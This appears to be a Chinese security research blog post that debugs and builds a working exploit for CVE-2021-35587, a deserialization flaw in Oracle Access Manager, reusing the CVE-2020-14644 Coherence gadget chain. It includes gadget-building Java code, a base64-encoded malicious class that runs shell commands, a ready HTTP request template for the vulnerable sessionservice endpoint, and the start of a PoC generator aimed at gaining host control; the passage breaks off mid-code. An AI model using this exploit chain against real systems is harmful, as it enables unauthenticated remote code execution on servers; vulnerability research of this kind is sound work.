processEvent:1069, OpenssoEngineController (oracle.security.am.proxy.opensso.controller)
processEvent:596, MasterController (oracle.security.am.controller)
processRequest:788, MasterController (oracle.security.am.controller)
process:708, MasterController (oracle.security.am.controller)
delegateToMasterController:221, PBLFlowManager (oracle.security.am.pbl)
handleBaseEvent:147, PBLFlowManager (oracle.security.am.pbl)
processRequest:107, PBLFlowManager (oracle.security.am.pbl)
handleRequest:221, AMServlet (oracle.security.am.pbl.transport.http)
doPost:177, AMServlet (oracle.security.am.pbl.transport.http)
service:707, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
run:295, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
run:260, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:137, StubSecurityHelper (weblogic.servlet.internal)
execute:353, ServletStubImpl (weblogic.servlet.internal)
doFilter:25, TailFilter (weblogic.servlet.internal)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
run:175, JpsAbsFilter$3 (oracle.security.jps.ee.http)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:315, JpsSubject (oracle.security.jps.util)
runJaasMode:650, JpsPlatformUtil (oracle.security.jps.ee.util)
runJaasMode:112, JpsAbsFilter (oracle.security.jps.ee.http)
doFilterInternal:293, JpsAbsFilter (oracle.security.jps.ee.http)
doFilter:150, JpsAbsFilter (oracle.security.jps.ee.http)
doFilter:94, JpsFilter (oracle.security.jps.ee.http)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
doFilter:248, DMSServletFilter (oracle.dms.servlet)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
doFilter:92, ExtensibleGlobalFilter (oracle.jrf.servlet)
doFilter:78, FilterChainImpl (weblogic.servlet.internal)
wrapRun:3797, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3763, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:344, AuthenticatedSubject (weblogic.security.acl.internal)
runAsForUserCode:197, SecurityManager (weblogic.security.service)
runAsForUserCode:203, WlsSecurityProvider (weblogic.servlet.provider)
run:71, WlsSubjectHandle (weblogic.servlet.provider)
doSecuredExecute:2451, WebAppServletContext (weblogic.servlet.internal)
securedExecute:2299, WebAppServletContext (weblogic.servlet.internal)
execute:2277, WebAppServletContext (weblogic.servlet.internal)
runInternal:1720, ServletRequestImpl (weblogic.servlet.internal)
run:1680, ServletRequestImpl (weblogic.servlet.internal)
run:272, ContainerSupportProviderImpl$WlsRequestExecutor (weblogic.servlet.provider)
_runAs:352, ComponentInvocationContextManager (weblogic.invocation)
runAs:337, ComponentInvocationContextManager (weblogic.invocation)
doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)
runWorkUnderContext:41, PartitionUtility (weblogic.work)
runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)
execute:420, ExecuteThread (weblogic.work)
run:360, ExecuteThread (weblogic.work)

到这里百思不得其解,一遍遍反复调试都是一样的结果。为什么几乎一样的运行时,移植之后就找不到这个类了呢?

错误出在defineclass

错误堆栈:

image-20220326165348118

几次F9之后在调试器中完全复刻了日志中的错误堆栈

image-20220325112952977

可以看到整个反序列化过程,从 oracle.security.am.pbl.transport.http.AMServlet.doPost 到 异常抛出,经过几个反序列化点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
		at java.lang.ClassLoader.defineClass(ClassLoader.java:635)
	at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
	at com.tangosol.internal.util.invoke.RemotableSupport.realize(RemotableSupport.java:137)
	at com.tangosol.internal.util.invoke.RemoteConstructor.newInstance(RemoteConstructor.java:122)
	at com.tangosol.internal.util.invoke.RemoteConstructor.readResolve(RemoteConstructor.java:233)
	
	at com.tangosol.util.ExternalizableHelper.realize(ExternalizableHelper.java:4938)
	at com.tangosol.util.ExternalizableHelper.readObject(ExternalizableHelper.java:2607)
	at com.tangosol.util.ExternalizableHelper.readObject(ExternalizableHelper.java:2583)
	
	at com.tangosol.coherence.servlet.AttributeHolder.readExternal(AttributeHolder.java:407)
	at com.tangosol.coherence.servlet.AttributeHolder.readExternal(AttributeHolder.java:372)
	
	at java.io.ObjectInputStream.readExternalData(ObjectInputStream.java:2234)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2183)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
	at weblogic.rmi.provider.BasicServiceContext.readExternal(BasicServiceContext.java:56)
	

at java.io.ObjectInputStream.readExternalData(ObjectInputStream.java:2234)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2183)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
	at oracle.security.am.proxy.opensso.controller.OpenssoEngineController.unmarshal(OpenssoEngineController.java:2453)

只在尝试 com.tangosol.internal.util.invoke.RemoteConstructor.newInstance 的时候找不到 com.tangosol.internal.util.invoke.Remotable

虽然报错是

1
java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable

但从生成payload的代码结合上面的错误堆栈来看,可能并不是没有找到 com.tangosol.internal.util.invoke.Remotable 这个类,而是在构建这个类的过程中,尝试通过字节码defineclass的时候出错了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    public static void cve_2020_14644_wrap() throws Exception {
        ClassIdentity classIdentity = new ClassIdentity(test6.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(test6.class.getName());
        ctClass.replaceClassName(test6.class.getName(), test6.class.getName() + "$" + classIdentity.getVersion());
        System.out.println(ctClass.getName());
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );

        AttributeHolder attributeHolder=new AttributeHolder();
        Method setInternalValue=attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder,constructor);
        BasicServiceContext basicServiceContext=new BasicServiceContext(1,attributeHolder);

//        String sobj = serialize(basicServiceContext);
//        System.out.println(sobj);
//        deserialize(sobj);

//        writeTextToClipboard(oamserialize(basicServiceContext));
        System.out.println(oamserialize(basicServiceContext));

    }

而且我们可以看到,gadgetchain中的前面几个类都已经被找到并且成功创建出来了。

image-20220630211425221

排除字节码类名不匹配

com.tangosol.internal.util.invoke.RemotableSupport.realize 下断点,最终会看到进64行后报错,而没有办法真正执行到69行去创建对象。

image-20220324000537306

image-20220323232857649

image-20220323233030604

image-20220323233348219

这里注意到文档说明

1
2
3
4
If name is not null, it must be equal to the binary name of the class specified by the byte array "b", otherwise a NoClassDefFoundError will be thrown.
......
Throws:
	NoClassDefFoundError – If name is not equal to the binary name of the class specified by b

这个错误NoClassDefFoundError 和我们在log中看到的一模一样,很有可能是这个问题导致的。

再细看此时的参数状态,传入的类名是 pers.neo.test$C5BD10F93D5F6E3E791935D6BFC036F5

image-20220323234043860

看一下传入的requester参数中的序列化数据中的类名是什么?是 pers/neo/test$C5BD10F93D5F6E3E791935D6BFC036F5

image-20220323234856309

一模一样,那么为什么呢?反反复复,继续在接下来这一行中报出错误:

image-20220323234423502

再跟入就是native代码了。

image-20220323234456731

会不会是字节码中的类名传入的参数的类名不一致导致的呢?尝试使用 https://www.class-visualizer.net/download.html 可视化test.class 类,看看是否因为idea直接编译导致的产生临时随机类名。

但调试可以看到类名是代码自己取出来处理过的,没有问题。

image-20220324002454076

这个将字节码中的类名进行替换(加上versionid)的动作是CVE-2020-14644所需要进行的正常操作,为了满足ClassIdentity所需要的特殊逻辑。

image-20220324002915407

如果不做改变的话反而会报类似下面这样的 wrong name 的错误

1
Exception in thread "main" java.lang.NoClassDefFoundError: pers/neo/test1$8CEAA052CA2629E7D4BAD619B2948F57 (wrong name: pers/neo/test1$5DF7AE1FE635F73F435EBEC61A76120B)

image-20220324004931718

并且本地编译多次,确认 classIdentity.getVersion() 对于同一个类总是能拿到一样的version值。

至此排除是defineClass时候类名不一致导致的问题。

同时,我发现自己一直选择性忽略一个关键事实

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:635)
	at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
	at com.tangosol.internal.util.invoke.RemotableSupport.realize(RemotableSupport.java:137)
	Truncated. see log file for complete stacktrace
Caused By: java.lang.ClassNotFoundException: com.tangosol.internal.util.invoke.Remotable
	at java.lang.ClassLoader.findClass(ClassLoader.java:523)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:756)
	Truncated. see log file for complete stacktrace

在这个报错中, java.lang.NoClassDefFoundError 是由 ClassNotFoundException 引起的。 所以本质上是因为 com.tangosol.internal.util.invoke.Remotable 找不到,而不是pers.neo.test1$8CEAA052CA2629E7D4BAD619B2948F57 不对。如果我看得够认真,思考得足够慢,一早该发现这一点。

本地defineClass demo调试

为了理清楚到底是defineClass的那个环节造成的报错,我本地写了个defineClass的demo并调试(名叫definecls),然后在这两种异常下断点,终于看到了更真相的一幕。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import java.util.Base64;
import java.lang.ClassLoader;

public class main extends ClassLoader {
    public static void main(String[] args) {
        System.out.println("hi");
        new main().df();
    }

    public void df(){
        String data="yv66vgAAADQAOQoABwAlCAAmCAAnCgAoACkKACgAKgcANwcALAcALQcALgcALwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAQTHBlcnMvbmVvL3Rlc3QxOwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHADABABRnZXRSZW1vdGVDb25zdHJ1Y3RvcgEANygpTGNvbS90YW5nb3NvbC9pbnRlcm5hbC91dGlsL2ludm9rZS9SZW1vdGVDb25zdHJ1Y3RvcjsBABRzZXRSZW1vdGVDb25zdHJ1Y3RvcgEAOChMY29tL3Rhbmdvc29sL2ludGVybmFsL3V0aWwvaW52b2tlL1JlbW90ZUNvbnN0cnVjdG9yOylWAQARcmVtb3RlQ29uc3RydWN0b3IBADVMY29tL3Rhbmdvc29sL2ludGVybmFsL3V0aWwvaW52b2tlL1JlbW90ZUNvbnN0cnVjdG9yOwEAEXNldFNlcnZlckxvY2F0aW9uAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQABcwEAAnMxBwAxAQARZ2V0U2VydmVyTG9jYXRpb24BACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAAp0ZXN0MS5qYXZhDAALAAwBAARjYWxjAQAXdG91Y2ggL3RtcC9oYWNrZWRieWhjc2wHADIMADMANAwANQA2AQAOcGVycy9uZW8vdGVzdDEBABBqYXZhL2xhbmcvT2JqZWN0AQArY29tL3Rhbmdvc29sL2ludGVybmFsL3V0aWwvaW52b2tlL1JlbW90YWJsZQEALndlYmxvZ2ljL2NsdXN0ZXIvc2luZ2xldG9uL0NsdXN0ZXJNYXN0ZXJSZW1vdGUBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABhqYXZhL3JtaS9SZW1vdGVFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAvcGVycy9uZW8vdGVzdDEkOENFQUEwNTJDQTI2MjlFN0Q0QkFENjE5QjI5NDhGNTcBADFMcGVycy9uZW8vdGVzdDEkOENFQUEwNTJDQTI2MjlFN0Q0QkFENjE5QjI5NDhGNTc7ACEABgAHAAMACAAJAAoAAAAFAAEACwAMAAIADQAAAFcAAgACAAAAEyq3AAESAkwSA0y4AAQrtgAFV7EAAAACAA4AAAAWAAUAAAAPAAQAEAAHABEACgASABIAFAAPAAAAFgACAAAAEwAQADgAAAAHAAwAEgATAAEAFAAAAAQAAQAVAAEAFgAXAAEADQAAACwAAQABAAAAAgGwAAAAAgAOAAAABgABAAAAGQAPAAAADAABAAAAAgAQADgAAAABABgAGQABAA0AAAA1AAAAAgAAAAGxAAAAAgAOAAAABgABAAAAHwAPAAAAFgACAAAAAQAQADgAAAAAAAEAGgAbAAEAAQAcAB0AAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAACQADwAAACAAAwAAAAEAEAA4AAAAAAABAB4AEwABAAAAAQAfABMAAgAUAAAABAABACAAAQAhACIAAgANAAAANgABAAIAAAACAbAAAAACAA4AAAAGAAEAAAAoAA8AAAAWAAIAAAACABAAOAAAAAAAAgAeABMAAQAUAAAABAABACAAAQAjAAAAAgAk";
        byte[] b= Base64.getDecoder().decode(data);
        Class<?> c= defineClass("pers.neo.test1$8CEAA052CA2629E7D4BAD619B2948F57",b,0,b.length);
        String cname=c.getClass().getName();
        System.out.println(cname);
    }
}

image-20220324173748317

defineClass:-1 ClassLoader(java.lang) 是native函数,进入后成功完成最外层操作,然后因为需要继续构造反序列化链,往里尝试寻找com.tangosol.internal.util.invoke.Remotable 类。

如下图,三步走。

  1. 使用 findLoadedClass(String) 看类是否已被加载。
  2. 使用父类加载器loadClass,没有父类加载器为null就用虚拟机内置加载器。
  3. 使用findClass寻找。

image-20220325100044985

步骤一findLoadedClass失败

步骤二的父类加载器依次是sun.misc.Launcher$AppClassLoadersun.misc.Launcher$ExtClassLoader 和null。

image-20220325101613996

步骤三findClass

image-20220325102507468

跟入,没有找到,抛出异常

image-20220325102843921

至此就完全解释了因为 Caused By: java.lang.ClassNotFoundException: com.tangosol.internal.util.invoke.Remotable 导致 java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/Remotable 的问题了。

但至于是为什么找不到Remotable,就是另一个需要再尝试回答的问题了。

添加依赖后本地可成功defineClass

给上述demo的lib加上coherence.jar这个类之后报错变化了,缺少 weblogic.cluster.singleton.ClusterMaster 。再加上 wlfullclient.jar ,就OK了,成功define出这个类。

image-20220325105132325

使用arthas在服务端能找到Remotable

那就是说是因为服务端找不到这个类。可是我们可以看到 com.tangosol.internal.util.invoke.Remotable 这个类在oamms容器中有两处存在

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# cls="com.tangosol.internal.util.invoke.Remotable"

# grep -P "$cls|\.jar" oamms_tree.txt |grep -P "$cls" -B1 
/u01/oracle/coherence/lib/coherence.jar
com/tangosol/internal/util/invoke/Remotable.class
com/tangosol/internal/util/invoke/RemotableClassGenerator.class
com/tangosol/internal/util/invoke/RemotableSupport.class
--
/u01/oracle/idm/oam/server/lib/jmx/coherence.jar
com/tangosol/internal/util/invoke/Remotable.class
com/tangosol/internal/util/invoke/RemotableClassGenerator.class
com/tangosol/internal/util/invoke/RemotableSupport.class

# grep -P "$cls|\.jar" oamms_tree.txt |grep -P "$cls" -B1 |grep jar |xargs -i{} docker exec oamms md5sum {}
b28ee46b9b9bd5c24df3bfee10075ba4  /u01/oracle/coherence/lib/coherence.jar
7b30411369752fc711a257ea6fb7e3d1  /u01/oracle/idm/oam/server/lib/jmx/coherence.jar

# grep -P "$cls|\.jar" oamms_tree.txt |grep -P "$cls" -B1 |grep jar |xargs -i{} docker exec oamms ls -lS {}
-rw-r----- 1 oracle oracle 13490976 Sep 12  2019 /u01/oracle/coherence/lib/coherence.jar
-rw-r----- 1 oracle oracle 13490779 Sep 10  2019 /u01/oracle/idm/oam/server/lib/jmx/coherence.jar

在容器中使用 arthas 也是能找到类的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
[arthas@181]$ sc *Remotable*
com.tangosol.internal.util.invoke.Remotable
com.tangosol.internal.util.invoke.RemotableSupport
com.tangosol.internal.util.invoke.RemotableSupport$$Lambda$143/386686148
com.tangosol.internal.util.invoke.lambda.AbstractRemotableLambda
Affect(row-cnt:4) cost in 360 ms.

[arthas@181]$ sc -d com.tangosol.internal.util.invoke.Remotable
 class-info        com.tangosol.internal.util.invoke.Remotable
 code-source       /u01/oracle/coherence/lib/coherence.jar
 name              com.tangosol.internal.util.invoke.Remotable
 isInterface       true
 isAnnotation      false
 isEnum            false
 isAnonymousClass  false
 isArray           false
 isLocalClass      false
 isMemberClass     false
 isPrimitive       false
 isSynthetic       false
 simple-name       Remotable
 modifier          abstract,interface,public
 annotation
 interfaces        com.tangosol.io.SerializationSupport
 super-class
 class-loader      +-PolicyClassLoader 'weblogic-launcher' @16267862 {file:/home/oracle/arthas/arthas-agent.jar file:/u01/oracle/wlserver/server/lib/weblogic-launcher.jar ... (798 more)}
                     +-sun.misc.Launcher$AppClassLoader@18b4aac2
                       +-sun.misc.Launcher$ExtClassLoader@495ae1c3
 classLoaderHash   16267862

 class-info        com.tangosol.internal.util.invoke.lambda.AbstractRemotableLambda
 code-source       /u01/oracle/coherence/lib/coherence.jar
 name              com.tangosol.internal.util.invoke.lambda.AbstractRemotableLambda
 isInterface       false
 isAnnotation      false
 isEnum            false
 isAnonymousClass  false
 isArray           false
 isLocalClass      false
 isMemberClass     false
 isPrimitive       false
 isSynthetic       false
 simple-name       AbstractRemotableLambda
 modifier          abstract,public
 annotation
 interfaces        com.tangosol.internal.util.invoke.Remotable,com.oracle.common.base.CanonicallyNamed,java.io.Serializable
 super-class       +-java.lang.Object
 class-loader      +-PolicyClassLoader 'weblogic-launcher' @16267862 {file:/home/oracle/arthas/arthas-agent.jar file:/u01/oracle/wlserver/server/lib/weblogic-launcher.jar ... (798 more)}
                     +-sun.misc.Launcher$AppClassLoader@18b4aac2
                       +-sun.misc.Launcher$ExtClassLoader@495ae1c3
 classLoaderHash   16267862

Affect(row-cnt:2) cost in 79 ms.

但是为何类加载器就是找不到呢?实在费解。

尝试使用arthas添加自定义类

此时的我有些懵,甚至怀疑是不是 pers.neo.test 类在服务端没有定义导致的,想尝试使用arthas添加一个类。

经过搜索,发现 retransform 命令可以做到,但尝试了没有成功,报错

1
2
3
4
5
6
7
8
[arthas@181]$ sc *pers.neo*
Affect(row-cnt:0) cost in 30 ms.
[arthas@181]$ 
[arthas@181]$ retransform /tmp/test.class 
These classes are not found in the JVM and may not be loaded: [pers.neo.test]
[arthas@181]$ 
[arthas@181]$ sc *pers.neo*
Affect(row-cnt:0) cost in 29 ms.

文档说是有限制

1
2
New field/method is not allowed
The function that is running, no exit can not take effect, such as the new System.out.println added below, only the run() function will take effect.

转念想到既然在本地,在依赖库齐全的情况下,不需要pers.neo.test类也是可以完成反序列化的,说明序列化数据中已经包含了所有需要的信息,顺利的情况下通过字节码足以完全还原 pers.neo.test 类了。

本地远程demo对比

在 weblogic.utils.classloaders.ChangeAwareClassLoader#findClass 下断点

本地是能找到这个interface的

image-20220326173253221

远程的会报错

image-20220326173439938

虽然不知道为何如此,但事实就是如此,远程的classloader找不到这个类。

尝试调试oamms容器中的defineClass过程

既然本地成功了,而远程不行,加上网上有人认为defineclass出错可能是version不对,只好再硬着头皮仔细调试oamms容器中那个进进出出native层的defineClass过程。

在 com.tangosol.internal.util.invoke.RemotableSupport#defineClass 下断点跟进。

比对abClass数组是否一致:一致

环境中的defination

image-20220630212626700

生成payload时候的defination

image-20220630212813631

看起来是一模一样的。取出其中的 oamms反序列化时的 definition.m_abClass和 生成payload时的constructor.m_definition.m_abClass,他们俩都是1545字节长,但直接计算.hashCode值不同。计算哈希值比较。

通过evaluate执行

1
2
new java.math.BigInteger(1,java.security.MessageDigest.getInstance("MD5").digest(constructor.m_definition.m_abClass)).toString(16)
new java.math.BigInteger(1,java.security.MessageDigest.getInstance("MD5").digest(abClass)).toString(16)

前者都是bce0f353100a294f763a2d72e6a91ff9,是一样的。

★没有将字节码写到磁盘中,但存在跨路径写文件

com.tangosol.internal.util.invoke.RemotableSupport#defineClass

image-20220630215821723

这里的DUMP_REMOTABLE配置来自于 coherence.server.remotable.dumpClasses ,是null。

image-20220713201632871

如果非空的话,会把它作为目录将我们的字节码写入该目录下的class文件中。

image-20220713202237312

因为 coherence.server.remotable.dumpClasses 没有专门配置目录

image-20220630215859283

所以跳过了 com.tangosol.internal.util.invoke.ClassDefinition#dumpClass 写class文件的逻辑。

但如果进入这个逻辑,这里是可以向任意路径写任意内容文件的。

image-20220630215632273

进入defineClass

然后就来到了非常梦幻且重要的地方

image-20220630220226094

失败就发生在这个方法里面

preDefinaClass和defineClassSourceLocation都正常

image-20220630221107046

然后到了native, java.lang.ClassLoader#defineClass1

image-20220630220925641

马上又出来到了 rt.jar的 sun.instrument.InstrumentationImpl#transform

image-20220630221034001

进到 sun.instrument.TransformerManager#transform

image-20220630221439700

transform失败,返回null,为什么呢?类名和bytecode都有了,为什么会transform失败呢?transform究竟发生了什么呢?

image-20220630222230725

transform返回前的调用栈是这样的

image-20220630222418963

F7步进之后变成了

image-20220630222536486

继续F7就来到了AttributeHolder的反序列化过程,一个奇怪的地方,一定是已经跳过了一些其他逻辑,idea没有严格步进。

image-20220630222849994

jump into rabbit hole

我们需要知道,transform 返回 null之后,attributeHolder报错之前,发生了什么?但native层和Java层的反复横跳实在难以跟踪。

在 com.tangosol.internal.util.invoke.RemotableSupport#defineClass 下断点

再根据错误堆栈在classloader的几个地方下断点

image-20220630223339159

分别是在ClassLoader.java的351、418、523行下断点

在transform 返回一个null的var7之后按F7步进

image-20220630223419119

果然来到了rabbithole,也就是classLoader的351行

image-20220630223843984

这个loadClass 是属于 /root/cwd/cveplay/cve-2021-35587/weblogiclib/coherence.jar 里面的com/tangosol/internal/util/invoke/RemotableSupport.class的,因为它extend了ClassLoader

image-20220630224234638

仔细观察RemotableSupport对象。里面甚至有我们之前尝试加载的类,这是怎么回事呢?不清楚,暂时放着。

image-20220630224631896

这个loadClass在尝试加载 com.tangosol.internal.util.invoke.Remotable类

尝试关闭smart step into,之后再f7,还是没有用,又来到了AttributeHolder报错的地方,这不是我想看到的。

image-20220630225747401

从transform再开始

到loadClass

image-20220630230303789

手动进入函数定义下断点,再步进,看到是因为 com/tangosol/internal/util/invoke/RemotableSupport.class 调用findLoadedClass寻找com.tangosol.internal.util.invoke.Remotable时返回了null。

image-20220630230654620

或许,这里,就是整个报错的根因了。

柳暗花明

现象是理解了,但是,为什么这个classLoader找不到这个明明存在的类呢?虽然这不是一个类,是一个接口,但也应该被加载了啊。

看报错调用栈第十六行也是 RemotableSupport (com.tangosol.internal.util.invoke) 这个对象调用 defineClass 去寻找 com.tangosol.internal.util.invoke.Remotable 时出错,而 RemotableSupportRemotable ` ,明明在同一个包底下,为何一个类能正常执行,却找不到同一个包下的另一个类呢?

image-20220630231117661

多方折腾之后,终于接受了服务端找不到Remotable这个事实。我沉思良久,终于问出那个问题——那么究竟是为什么我反序列化自己的test类却要去找Remotable类呢?

答案就是:因为我的test6定义里面实现了这个接口。

image-20220630231359837

我为什么实现这个接口呢?因为在利用CVE-2020-14644的时候必须实现这个接口。那么现在呢?不实现可以吗?

重新尝试使用一个不实现Remotable接口的test6类进行调试,参考调用栈添加一个断点com.tangosol.internal.util.invoke.RemoteConstructor#readResolve。

一路跟进反射来到了一个奇怪的地方:

image-20220630233258313

虽然不知道自己在哪里,但是看到了calc 和 touch,说明静态代码被执行了。

image-20220630233508611

从pers.neo.test6执行到了getRuntime

image-20220630233610066

执行到了exec

image-20220630233931894

切割 token

image-20220630234134359

一路跟进exec直到java.lang.UNIXProcess

image-20220630234644938

然后执行的native的forkAndExec

image-20220630234819779

image-20220630235030429

改变test6中的命令为 touch /tmp/hackedbyneo,成功执行命令:

image-20220630235334364

就是说去掉 implements Remotable就可以了,那么是不是ClusterMasterRemote也不用实现。确实如此。

image-20220630235900537

image-20220630235839635

其实,Serializable接口也不需要。

From CVE-2020-14644 to CVE-2021-35587

总的来说,将自定义的恶意类从

1
public class test7 implements Remotable, ClusterMasterRemote, Serializable {}

改为

1
public class test7 implements Serializable {}

就解决了最后的障碍。

很长一段时间,因为Remotable没有找到而迟迟无法成功利用漏洞。差之毫厘,谬之千里,正是此意。

至此我们就完成了利用CVE-2021-35587这个漏洞从反序列化入口到恶意类静态代码执行的全过程。

下面看一下如何在真实环境中采用各种姿势利用这个漏洞获取主机控制权限。

漏洞利用

新建生成PoC的工程

在idea中新建一个名为wlsgadget的maven工程。

为了操作字节码,在pom.xml中添加javassist。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>wlsgadget</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.20.0-GA</version>
        </dependency>
    </dependencies>
</project>

为了顺利生成PoC,还需要在library中添加 ”远程调试OAM -> ⑤下载依赖包到调试主机“ 中提到的oraclelib、wlfullclient、coherencelib三个依赖。

genpoc.java:漏洞利用框架

genpoc.java用basicServiceContext的对象包裹一条已知的weblogic利用链(CVE-2021-14644)。

cve_2021_35587()方法的输入是一个我们构造的恶意类,如rev.class,输出是可以用于触发漏洞的requester参数值,即以下请求报文中的xxxx部分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /oam/server/opensso/sessionservice HTTP/1.1
Host: 192.168.175.139:14100
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 289

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<RequestSet vers="vers123" svcid="session" reqid="req_1">
 <Request dtdid="dtd1" sid="sid1"><![CDATA[
	<authIdentifier reqid="1" requester="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
	<SessionID>123</SessionID>
	</authIdentifier>
	]]>
 </Request>
</RequestSet>

其中作为参数传入cve_2021_35587()方法的类即用于在反序列化的最终环节构建恶意对象,我们在诸如rev.class这样的恶意类的构造函数中执行恶意代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package pers.neo;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import oracle.security.am.proxy.opensso.session.utils.SessionID;
import weblogic.rmi.provider.BasicServiceContext;
import java.io.*;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class genpoc{
    public static void main(String[] args) throws Exception {
        cve_2021_35587(rev.class);
    }
    
	public static void cve_2021_35587(Class poccls) throws Exception {
        ClassIdentity classIdentity = new ClassIdentity(poccls);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(poccls.getName());
        ctClass.replaceClassName(poccls.getName(), poccls.getName() + "$" + classIdentity.getVersion());
        RemoteConstructor constructor = new RemoteConstructor(
                new ClassDefinition(classIdentity, ctClass.toBytecode()),
                new Object[]{}
        );
        
        //这一环并非必要,可以简化
        //AttributeHolder attributeHolder=new AttributeHolder();
        //Method setInternalValue=attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
        //setInternalValue.setAccessible(true);
        //setInternalValue.invoke(attributeHolder,constructor);
        //BasicServiceContext basicServiceContext=new BasicServiceContext(1,attributeHolder);
        //直接将constructor设置到basicServiceContext中
        BasicServiceContext basicServiceContext=new BasicServiceContext(1,constructor);
        
        System.out.println(oamserialize(basicServiceContext));
    }
    
    public static <T extends Serializable> String oamserialize(T item) {
        String data=serialize(item);
        return Base64.getEncoder().encodeToString(("object:"+data).getBytes(StandardCharsets.UTF_8));
    }

    //   ref: https://gist.github.com/andy722/1524968
    public static <T extends Serializable> String serialize(T item) {
